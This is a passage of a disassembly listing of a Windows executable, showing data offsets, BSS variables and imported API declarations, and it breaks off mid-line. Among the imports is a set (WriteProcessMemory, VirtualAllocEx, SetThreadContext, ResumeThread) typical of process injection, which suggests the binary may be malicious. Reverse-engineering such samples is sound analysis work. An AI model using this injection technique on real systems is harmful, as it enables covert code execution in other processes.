off_20014534 dd offset dword_20015808 ; DATA XREF: sub_2000DACC+2Dr off_20014538 dd offset off_2000F1C0 ; DATA XREF: sub_2000FF60:loc_2000FF70r ; sub_20010050:loc_2001005Fr ... off_2001453C dd offset loc_200061CF+1 ; DATA XREF: sub_2000A8F8+110r off_20014540 dd offset byte_20014008 ; DATA XREF: sub_200129A0+41r off_20014544 dd offset dword_200157B4 ; DATA XREF: sub_2000DB90+47r ; sub_2000E288+44r off_20014548 dd offset loc_20006217+1 ; DATA XREF: CODE:2000BF14o off_2001454C dd offset off_200061C0 ; DATA XREF: sub_2000A770+63r off_20014550 dd offset off_20006238 ; DATA XREF: CODE:2000BEE4o off_20014554 dd offset off_20006310 ; DATA XREF: CODE:2000BDA0o off_20014558 dd offset off_200061F8 ; DATA XREF: CODE:2000BF44o off_2001455C dd offset off_2000F1C8 ; DATA XREF: sub_20011E68+1Br off_20014560 dd offset off_20006060 ; DATA XREF: CODE:2000BD8Co off_20014564 dd offset off_200060F8 ; DATA XREF: CODE:2000BD14o off_20014568 dd offset off_20006098 ; DATA XREF: CODE:2000BD54o ; sub_20011824:loc_2001184Fr ... off_2001456C dd offset off_20006188 ; DATA XREF: sub_2000D184+9Cr off_20014570 dd offset off_20006090 ; DATA XREF: CODE:2000BD5Co off_20014574 dd offset off_20006240 ; DATA XREF: CODE:2000BED8o off_20014578 dd offset off_2001414C ; DATA XREF: sub_2000D184:loc_2000D351r ; sub_2000EB50+D8r off_2001457C dd offset off_200061E0 ; DATA XREF: sub_2000B75C:loc_2000B7B8r off_20014580 dd offset off_200060A8 ; DATA XREF: CODE:2000BD44o off_20014584 dd offset off_2000F1D0 ; DATA XREF: sub_20011878+2Fr off_20014588 dd offset off_200061E8 ; DATA XREF: CODE:2000BF5Co off_2001458C dd offset dword_20014018 ; DATA XREF: sub_2000787C+1r ; sub_2000787C+Cr ... off_20014590 dd offset off_20006100 ; DATA XREF: CODE:2000A372r off_20014594 dd offset off_200060D0 ; DATA XREF: CODE:2000BD24o off_20014598 dd offset off_20006148 ; DATA XREF: sub_2000D184+118r off_2001459C dd offset off_200060B0 ; DATA XREF: CODE:2000BD3Co off_200145A0 dd offset off_2000F198 ; DATA XREF: sub_20011AF8+92r off_200145A4 dd offset off_20006128 ; DATA XREF: sub_2000A8F8+45r off_200145A8 dd offset off_20006210 ; DATA XREF: CODE:2000BF20o align 80h DATA ends ; Section 3. (virtual address 00015000) ; Virtual size : 000009F1 ( 2545.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00013000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 20015000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing dword_20015000 dd ? ; DATA XREF: sub_20005AB4+2Fw dword_20015004 dd ? ; DATA XREF: CODE:20003BE6r ; DATA:off_2001445Co dword_20015008 dd ? ; DATA XREF: sub_20002704+9r ; sub_20002704+16r ... dword_2001500C dd ? ; DATA XREF: DATA:off_20014454o dword_20015010 dd ? ; DATA XREF: sub_200038A4+25r ; CODE:20003BC4r ... dword_20015014 dd ? ; DATA XREF: sub_200037B4+14r ; sub_200037D0+16r ... dword_20015018 dd ? ; DATA XREF: sub_200038A4+D2r ; CODE:20003BACr ... dword_2001501C dd ? ; DATA XREF: DATA:off_20014420o dword_20015020 dd ? ; DATA XREF: DATA:off_200144F4o dword_20015024 dd ? ; DATA XREF: sub_20003EB8+A8r ; sub_20003EB8+B1r dword_20015028 dd ? ; DATA XREF: sub_20002988r ; sub_20002988+9r ... dword_2001502C dd ? ; DATA XREF: sub_20003D14+29w dword_20015030 dd ? ; DATA XREF: sub_20005AB4+CDw byte_20015034 db ? ; DATA XREF: sub_20003D14+33w align 4 dword_20015038 dd ? ; DATA XREF: sub_20005AB4+76w dword_2001503C dd ? ; DATA XREF: sub_20005AB4+6Cw dword_20015040 dd ? ; DATA XREF: sub_20003EB8+Eo byte_20015044 db ? ; DATA XREF: sub_20003E2C+1r ; DATA:off_20014528o byte_20015045 db ? ; DATA XREF: sub_200019A8+1Br ; sub_200019A8:loc_20001A4Ar ... byte_20015046 db ? ; DATA XREF: sub_20005AB4+28w align 4 dword_20015048 dd ? ; DATA XREF: sub_20002D94:loc_20002DD3o ; sub_20005A60+19o word_2001504C dw ? ; DATA XREF: sub_20005AB4+4Cw align 10h dd 71h dup(?) dword_20015214 dd ? ; DATA XREF: sub_20002C64:loc_20002C83o ; sub_20003E2C+1Eo ... word_20015218 dw ? ; DATA XREF: sub_20003E2C+Ar ; sub_20005AB4+55w align 10h dword_20015220 dd ? ; DATA XREF: sub_20003E2C+15r align 10h dword_20015230 dd ? ; DATA XREF: sub_20003E2C+23r dd 6Bh dup(?) dword_200153E0 dd ? ; DATA XREF: CODE:loc_20002B9Do ; sub_20002C64+26o ... word_200153E4 dw ? ; DATA XREF: sub_20005AB4+5Ew align 4 dd 71h dup(?) dword_200155AC dd ? ; DATA XREF: sub_20001C10w ; sub_20001FA0+92w ... dword_200155B0 dd ? ; DATA XREF: sub_20001C10+16w ; sub_20001FA0+9Bw ... dword_200155B4 dd ? ; DATA XREF: sub_20005A60+11w ; sub_20005AB4w ; UINT CodePage CodePage dd ? ; DATA XREF: sub_200040C8+10r ; sub_200040E8+Cr ... byte_200155BC db ? ; DATA XREF: sub_200019A8+8Ew ; sub_200019A8:loc_20001A65r ... align 10h dword_200155C0 dd ? ; DATA XREF: sub_2000159C+6Dw ; sub_200016E8+63w ... ; struct _RTL_CRITICAL_SECTION CriticalSection CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_200019A8+11o ; sub_200019A8+24o ... ; HLOCAL dword_200155DC dword_200155DC dd ? ; DATA XREF: sub_2000131C:loc_2000133Fr ; sub_2000131C+2Aw ... dword_200155E0 dd ? ; DATA XREF: sub_2000131C+2o ; sub_200013A4+Ar ... dword_200155E4 dd ? ; DATA XREF: sub_200014C0+3Eo ; sub_20001524+51o ... dd 3 dup(?) dword_200155F4 dd 4 dup(?) ; DATA XREF: sub_20001768+Bo ; sub_200017F8+Eo ... dword_20015604 dd ? ; DATA XREF: sub_200019A8+7Fo dword_20015608 dd ? ; DATA XREF: sub_20001FA0:loc_20001FB0r align 10h dword_20015610 dd ? ; DATA XREF: sub_200019A8+89w ; sub_20001B4C+1r ... dword_20015614 dd ? ; DATA XREF: sub_20001E3Cr ; sub_20001E3C+9r ... dword_20015618 dd ? ; DATA XREF: sub_20001E3C+26r ; sub_20001E3C+2Er ... ; HLOCAL hMem hMem dd ? ; DATA XREF: sub_200019A8+58w ; sub_200019A8+5Dr ... dword_20015620 dd ? ; DATA XREF: sub_200019A8+42o ; sub_20001A6C+81o ... align 10h dword_20015630 dd ? ; DATA XREF: sub_20003C54+6o ; sub_20003DFC+Do ... dword_20015634 dd ? ; DATA XREF: sub_20003C0C+17w ; sub_20003C2C+2r dword_20015638 dd ? ; DATA XREF: sub_20003CB4+6r ; sub_20003D14+14w dword_2001563C dd ? ; DATA XREF: sub_20003CB4+2Cw ; sub_20003D14+1Bw dword_20015640 dd ? ; DATA XREF: sub_20003D14+20w dd 6 dup(?) byte_2001565C db ? ; DATA XREF: sub_20005C00r byte_2001565D db ? ; DATA XREF: CODE:2000C12Ar align 10h dword_20015660 dd ? ; DATA XREF: sub_20005C4C+11w ; sub_20005C4C+16r ... dword_20015664 dd ? ; DATA XREF: sub_20005C90+11w ; CODE:loc_20005CC0w dword_20015668 dd ? ; DATA XREF: sub_20005C00:loc_20005C2Fr dword_2001566C dd ? ; DATA XREF: sub_20005CC8+11w ; sub_20005CF8w dword_20015670 dd ? ; DATA XREF: sub_20005E98+11w ; sub_20005EC8w dword_20015674 dd ? ; DATA XREF: CODE:20005EE1w ; sub_20005F00w dword_20015678 dd ? ; DATA XREF: CODE:20005F19w ; CODE:20005F38w dword_2001567C dd ? ; DATA XREF: CODE:20005F59w ; CODE:20005F78w dword_20015680 dd ? ; DATA XREF: CODE:20005F91w ; CODE:20005FB0w dword_20015684 dd ? ; DATA XREF: CODE:20005FC9w ; CODE:20005FE8w dword_20015688 dd ? ; DATA XREF: CODE:20006001w ; CODE:20006040w dword_2001568C dd ? ; DATA XREF: CODE:20006009r ; CODE:20006012r dword_20015690 dd ? ; DATA XREF: CODE:20006329w ; CODE:20006348w dword_20015694 dd ? ; DATA XREF: sub_20007D7C+1Cr ; sub_2000B3DC+52o ... byte_20015698 db ? ; DATA XREF: sub_20007D7C+24r ; sub_2000B3DC+7Bw byte_20015699 db ? ; DATA XREF: sub_20007D7C+2Cr ; sub_2000B3DC+9Fw byte_2001569A db ? ; DATA XREF: sub_20007D7C+14r ; sub_2000B3DC+B2w byte_2001569B db ? ; DATA XREF: sub_20007D7C+Cr ; sub_2000827C+14r ... byte_2001569C db ? ; DATA XREF: sub_200079D6+1F9r ; sub_2000B3DC+E9w byte_2001569D db ? ; DATA XREF: sub_20008C00:loc_200092AAr ; sub_20008C00+6BBo ... align 10h dword_200156A0 dd ? ; DATA XREF: sub_20008C00+2F3r ; sub_20008C00+657r ... dword_200156A4 dd ? ; DATA XREF: sub_20008C00+307r ; sub_2000B3DC+151o ... byte_200156A8 db ? ; DATA XREF: sub_20008C00:loc_200092D0r ; sub_20008C00+6DDo ... align 4 dword_200156AC dd ? ; DATA XREF: sub_20008C00+57Er ; sub_200096E4+29Ar ... dword_200156B0 dd ? ; DATA XREF: sub_20008C00+58Fr ; sub_200096E4+2C4r ... dword_200156B4 dd ? ; DATA XREF: sub_20008C00+484r ; sub_200096E4+24Fr ... dword_200156B8 dd ? ; DATA XREF: sub_20008C00+23Er ; sub_20008C00+498r ... dword_200156BC dd 0Bh dup(?) ; DATA XREF: sub_20009DD8+29o ; CODE:2000C06Ao dword_200156E8 dd ? ; DATA XREF: sub_20008C00+258r dword_200156EC dd 0Bh dup(?) ; DATA XREF: sub_20009DD8+2Eo ; CODE:2000C055o dword_20015718 dd ? ; DATA XREF: sub_20008C00+2B6r ; sub_20008C00+61Fr dword_2001571C dd 6 dup(?) ; DATA XREF: sub_20009DD8+8Ao ; CODE:2000C040o dword_20015734 dd ? ; DATA XREF: sub_20008C00+2DDr ; sub_20008C00+5D8r dword_20015738 dd 7 dup(?) ; DATA XREF: sub_20009DD8+8Fo ; CODE:2000C02Bo ; LCID Locale Locale dd ? ; DATA XREF: sub_2000B1F0+Er ; sub_2000B268+Cw ... dword_20015758 dd ? ; DATA XREF: sub_20008990+A4r ; sub_20009688+6r ... dword_2001575C dd ? ; DATA XREF: sub_20008990:loc_20008A60r ; sub_2000B268+20w ... dword_20015760 dd ? ; DATA XREF: sub_200096E4+22Ar ; CalInfoEnumProc:loc_20009F10r ... dword_20015764 dd 6 dup(?) ; DATA XREF: sub_20009634+11o ; CODE:2000C016o dword_2001577C dd ? ; DATA XREF: sub_20009F38:loc_20009F5Cr ; sub_20009F38+43w dword_20015780 dd ? ; DATA XREF: sub_20009634+16o ; sub_200096E4+AFr ... dd 6 dup(?) dword_2001579C dd ? ; DATA XREF: sub_200072D4r ; sub_200072D4+10o ... dword_200157A0 dd ? ; DATA XREF: sub_200072D4:loc_2000730Br ; sub_200072D4+47o ... dword_200157A4 dd ? ; DATA XREF: CODE:2000BF8Dw ; CODE:2000C10Dw dword_200157A8 dd ? ; DATA XREF: sub_2000A71C:loc_2000A731r ; sub_2000ABA0+12w ... dword_200157AC dd ? ; DATA XREF: sub_2000A71C:loc_2000A739r ; sub_2000ABA0+29w ... dword_200157B0 dd ? ; DATA XREF: CODE:2000BF99o dword_200157B4 dd ? ; DATA XREF: sub_2000C62C+22w ; DATA:off_20014544o dword_200157B8 dd ? ; DATA XREF: sub_2000C62C+38w dword_200157BC dd ? ; DATA XREF: sub_2000C62C+4Ew dword_200157C0 dd ? ; DATA XREF: sub_2000C62C+64w dword_200157C4 dd ? ; DATA XREF: sub_2000C62C+7Aw dword_200157C8 dd ? ; DATA XREF: sub_2000C62C+90w dword_200157CC dd ? ; DATA XREF: sub_2000C62C+A6w dword_200157D0 dd ? ; DATA XREF: sub_2000C62C+BCw dword_200157D4 dd ? ; DATA XREF: sub_2000C62C+D2w dword_200157D8 dd ? ; DATA XREF: sub_2000C62C+E8w dword_200157DC dd ? ; DATA XREF: sub_2000C62C+FEw dword_200157E0 dd ? ; DATA XREF: sub_2000C62C+114w dword_200157E4 dd ? ; DATA XREF: sub_2000C62C+12Aw dword_200157E8 dd ? ; DATA XREF: sub_2000C62C+140w dword_200157EC dd ? ; DATA XREF: sub_2000C62C+156w dword_200157F0 dd ? ; DATA XREF: sub_2000C62C+16Cw dword_200157F4 dd ? ; DATA XREF: sub_2000C62C+182w dword_200157F8 dd ? ; DATA XREF: sub_2000C62C+198w dword_200157FC dd ? ; DATA XREF: sub_2000C62C+1AEw dword_20015800 dd ? ; DATA XREF: sub_2000C62C+1C4w ; DATA:off_2001440Co dword_20015804 dd ? ; DATA XREF: sub_2000C62C+1DAw ; DATA:off_200144B0o dword_20015808 dd ? ; DATA XREF: sub_2000C62C+1F0w ; DATA:off_20014534o dword_2001580C dd ? ; DATA XREF: CODE:2000C949w ; CODE:2000C968w dword_20015810 dd 4 dup(?) ; DATA XREF: CODE:2000F0BBo ; CODE:2000F0F6o dword_20015820 dd ? ; DATA XREF: CODE:2000F105w dword_20015824 dd ? ; DATA XREF: sub_2000D674+3Ar ; CODE:2000F10Fw dword_20015828 dd ? ; DATA XREF: sub_2000DC5C+30r ; sub_2000E340+30r ... dword_2001582C dd ? ; DATA XREF: sub_2000D96C+5Dr ; CODE:2000F11Fw dword_20015830 dd ? ; DATA XREF: CODE:2000F075w ; CODE:2000F0EDw dword_20015834 dd ? ; DATA XREF: sub_2000ED08+5o ; sub_2000EE80+38r ... ; struct _RTL_CRITICAL_SECTION stru_20015838 stru_20015838 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_2000ED08+Ao ; sub_2000ED08:loc_2000ED5Eo ... dword_20015850 dd ? ; DATA XREF: CODE:2000F1F9w ; CODE:2000F218w dword_20015854 dd ? ; DATA XREF: CODE:2000F25Dw ; CODE:2000F29Cw dword_20015858 dd ? ; DATA XREF: CODE:2000F2B5w ; CODE:2000F2D4w dword_2001585C dd ? ; DATA XREF: CODE:20012623r ; CODE:2001265Fo ... ; HANDLE hObject hObject dd ? ; DATA XREF: sub_20012540+1Aw ; sub_20012540+1Fr ... dword_20015864 dd ? ; DATA XREF: CODE:20012611w ; CODE:200126C1w dword_20015868 dd ? ; DATA XREF: sub_2001258C+6r ; sub_2001258C:loc_200125D6r ... dword_2001586C dd ? ; DATA XREF: sub_2000FEA8+6r ; sub_2000FEA8+20r ... dword_20015870 dd ? ; DATA XREF: CODE:20012682o dword_20015874 dd ? ; DATA XREF: sub_20011C80+Fr ; sub_20011C80+1Cr ... ; struct _RTL_CRITICAL_SECTION stru_20015878 stru_20015878 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_20012540o ; sub_20012574o dword_20015890 dd ? ; DATA XREF: CODE:20012755w ; CODE:20012774w dword_20015894 dd ? ; DATA XREF: CODE:200128A1w ; CODE:200128C0w dword_20015898 dd ? ; DATA XREF: CODE:200128D9w ; CODE:200128F8w dword_2001589C dd ? ; DATA XREF: CODE:200133BDo ; CODE:200133C7r ... dword_200158A0 dd 53h dup(?) ; DATA XREF: CODE:20013421o ; CODE:20013430o ... dword_200159EC dd ? ; DATA XREF: CODE:loc_2001341Br ; CODE:20013481r align 20h BSS ends ; ; Imports from kernel32.dll ; ; Section 4. (virtual address 00016000) ; Virtual size : 00000B44 ( 2884.) ; Section size in file : 00000C00 ( 3072.) ; Offset to raw data for section: 00013000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Externs ; _idata ; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_DeleteCriticalSection:dword ; DATA XREF: DeleteCriticalSectionr ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_LeaveCriticalSection:dword ; DATA XREF: LeaveCriticalSectionr ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_EnterCriticalSection:dword ; DATA XREF: EnterCriticalSectionr ; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_InitializeCriticalSection:dword ; DATA XREF: InitializeCriticalSectionr ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn __imp_VirtualFree:dword ; DATA XREF: VirtualFreer ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn __imp_VirtualAlloc:dword ; DATA XREF: VirtualAllocr ; HLOCAL __stdcall LocalFree(HLOCAL hMem) extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer ; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes) extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr ; DWORD __stdcall GetVersion() extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr ; DWORD __stdcall GetCurrentThreadId() extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr ; LONG __stdcall InterlockedDecrement(volatile LONG *lpAddend) extrn __imp_InterlockedDecrement:dword ; DATA XREF: InterlockedDecrementr ; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend) extrn __imp_InterlockedIncrement:dword ; DATA XREF: InterlockedIncrementr ; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn __imp_VirtualQuery:dword ; DATA XREF: VirtualQueryr ; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar) extrn __imp_WideCharToMultiByte:dword ; DATA XREF: WideCharToMultiByter ; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar) extrn __imp_MultiByteToWideChar:dword ; DATA XREF: MultiByteToWideCharr ; int __stdcall lstrlenA(LPCSTR lpString) extrn __imp_lstrlenA:dword ; DATA XREF: lstrlenAr ; LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength) extrn __imp_lstrcpynA:dword ; DATA XREF: lstrcpynAr ; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags) extrn __imp_LoadLibraryExA:dword ; DATA XREF: LoadLibraryExAr ; LCID __stdcall GetThreadLocale() extrn __imp_GetThreadLocale:dword ; DATA XREF: GetThreadLocaler ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn __imp_GetStartupInfoA:dword ; DATA XREF: GetStartupInfoAr ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn __imp_GetProcAddress:dword ; DATA XREF: GetProcAddressr ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr ; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn __imp_GetLocaleInfoA:dword ; DATA XREF: GetLocaleInfoAr ; DWORD __stdcall GetLastError() extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr ; LPSTR __stdcall GetCommandLineA() extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn __imp_FreeLibrary:dword ; DATA XREF: FreeLibraryr ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData) extrn __imp_FindFirstFileA:dword ; DATA XREF: FindFirstFileAr ; BOOL __stdcall FindClose(HANDLE hFindFile) extrn __imp_FindClose:dword ; DATA XREF: FindCloser ; void __stdcall ExitProcess(UINT uExitCode) extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler ; CODE:loc_20002CC0r ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn __imp_UnhandledExceptionFilter:dword ; DATA XREF: UnhandledExceptionFilterr ; DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod) extrn __imp_SetFilePointer:dword ; DATA XREF: SetFilePointerr ; BOOL __stdcall SetEndOfFile(HANDLE hFile) extrn __imp_SetEndOfFile:dword ; DATA XREF: SetEndOfFiler extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn __imp_ReadFile:dword ; DATA XREF: ReadFiler ; CODE:loc_20002CB8r ; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments) extrn __imp_RaiseException:dword ; DATA XREF: RaiseExceptionr ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler ; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh) extrn __imp_GetFileSize:dword ; DATA XREF: GetFileSizer ; DWORD __stdcall GetFileType(HANDLE hFile) extrn __imp_GetFileType:dword ; DATA XREF: GetFileTyper ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) extrn __imp_CreateFileA:dword ; DATA XREF: CreateFileAr ; BOOL __stdcall CloseHandle(HANDLE hObject) extrn __imp_CloseHandle:dword ; DATA XREF: CloseHandler ; ; Imports from user32.dll ; ; int __stdcall GetKeyboardType(int nTypeFlag) extrn __imp_GetKeyboardType:dword ; DATA XREF: GetKeyboardTyper ; int __stdcall LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int cchBufferMax) extrn __imp_LoadStringA:dword ; DATA XREF: LoadStringAr ; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) extrn __imp_MessageBoxA:dword ; DATA XREF: MessageBoxAr ; LPSTR __stdcall CharNextA(LPCSTR lpsz) extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr ; ; Imports from advapi32.dll ; ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn __imp_RegQueryValueExA:dword ; DATA XREF: RegQueryValueExAr ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn __imp_RegOpenKeyExA:dword ; DATA XREF: RegOpenKeyExAr ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKeyr ; ; Imports from oleaut32.dll ; ; void __stdcall SysFreeString(BSTR bstrString) extrn __imp_SysFreeString:dword ; DATA XREF: SysFreeStringr ; INT __stdcall SysReAllocStringLen(BSTR *pbstr, const OLECHAR *psz, unsigned int len) extrn __imp_SysReAllocStringLen:dword ; DATA XREF: SysReAllocStringLenr ; BSTR __stdcall SysAllocStringLen(const OLECHAR *strIn, UINT ui) extrn __imp_SysAllocStringLen:dword ; DATA XREF: SysAllocStringLenr ; ; Imports from kernel32.dll ; ; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue) extrn __imp_TlsSetValue:dword ; DATA XREF: TlsSetValuer ; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex) extrn __imp_TlsGetValue:dword ; DATA XREF: TlsGetValuer ; HLOCAL __stdcall LocalAlloc_0(UINT uFlags, SIZE_T uBytes) extrn __imp_LocalAlloc_0:dword ; DATA XREF: LocalAlloc_0r ; HMODULE __stdcall GetModuleHandleA_0(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA_0:dword ; DATA XREF: GetModuleHandleA_0r ; ; Imports from advapi32.dll ; ; BOOL __stdcall GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer) extrn __imp_GetUserNameA:dword ; DATA XREF: GetUserNameAr ; ; Imports from kernel32.dll ; ; BOOL __stdcall WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) extrn __imp_WriteProcessMemory:dword ; DATA XREF: WriteProcessMemoryr ; BOOL __stdcall WriteFile_0(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile_0:dword ; DATA XREF: WriteFile_0r ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) extrn __imp_WaitForSingleObject:dword ; DATA XREF: WaitForSingleObjectr ; SIZE_T __stdcall VirtualQuery_0(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength) extrn __imp_VirtualQuery_0:dword ; DATA XREF: VirtualQuery_0r ; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn __imp_VirtualAllocEx:dword ; DATA XREF: VirtualAllocExr ; BOOL __stdcall SetThreadContext(HANDLE hThread, const CONTEXT *lpContext) extrn __imp_SetThreadContext:dword ; DATA XREF: SetThreadContextr ; DWORD __stdcall SetFilePointer_0(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod) extrn __imp_SetFilePointer_0:dword ; DATA XREF: SetFilePointer_0r ; BOOL __stdcall SetEvent(HANDLE hEvent) extrn __imp_SetEvent:dword ; DATA XREF: SetEventr ; BOOL __stdcall SetEndOfFile_0(HANDLE hFile) extrn __imp_SetEndOfFile_0:dword ; DATA XREF: SetEndOfFile_0r ; DWORD __stdcall ResumeThread(HANDLE hThread) extrn __imp_ResumeThread:dword ; DATA XREF: ResumeThreadr ; BOOL __stdcall ResetEvent(HANDLE hEvent) extrn __imp_ResetEvent:dword ; DATA XREF: ResetEventr ; BOOL __stdcall ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead) extrn __imp_ReadProcessMemory:dword ; DATA XREF: ReadProcessMemoryr ; BOOL __stdcall ReadFile_0(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped) extrn __imp_ReadFile_0:dword ; DATA XREF: ReadFile_0r ; void __stdcall LeaveCriticalSection_0(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_LeaveCriticalSection_0:dword ; DATA XREF: LeaveCriticalSection_0r ; void __stdcall InitializeCriticalSection_0(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_InitializeCriticalSection_0:dword ; DATA XREF: InitializeCriticalSection_0r ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation) extrn __imp_GetVersionExA:dword ; DATA XREF: GetVersionExAr ; LCID __stdcall GetThreadLocale_0() extrn __imp_GetThreadLocale_0:dword ; DATA XREF: GetThreadLocale_0r ; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext) extrn __imp_GetThreadContext:dword ; DATA XREF: GetThreadContextr ; BOOL __stdcall GetStringTypeExA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType) extrn __imp_GetStringTypeExA:dword ; DATA XREF: GetStringTypeExAr ; HANDLE __stdcall GetStdHandle_0(DWORD nStdHandle) extrn __imp_GetStdHandle_0:dword ; DATA XREF: GetStdHandle_0r ; FARPROC __stdcall GetProcAddress_0(HMODULE hModule, LPCSTR lpProcName) extrn __imp_GetProcAddress_0:dword ; DATA XREF: GetProcAddress_0r ; HMODULE __stdcall GetModuleHandleA_1(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA_1:dword ; DATA XREF: GetModuleHandleA_1r ; DWORD __stdcall GetModuleFileNameA_0(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn __imp_GetModuleFileNameA_0:dword ; DATA XREF: GetModuleFileNameA_0r ; int __stdcall GetLocaleInfoA_0(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn __imp_GetLocaleInfoA_0:dword ; DATA XREF: GetLocaleInfoA_0r ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime) extrn __imp_GetLocalTime:dword ; DATA XREF: GetLocalTimer ; DWORD __stdcall GetLastError_0() extrn 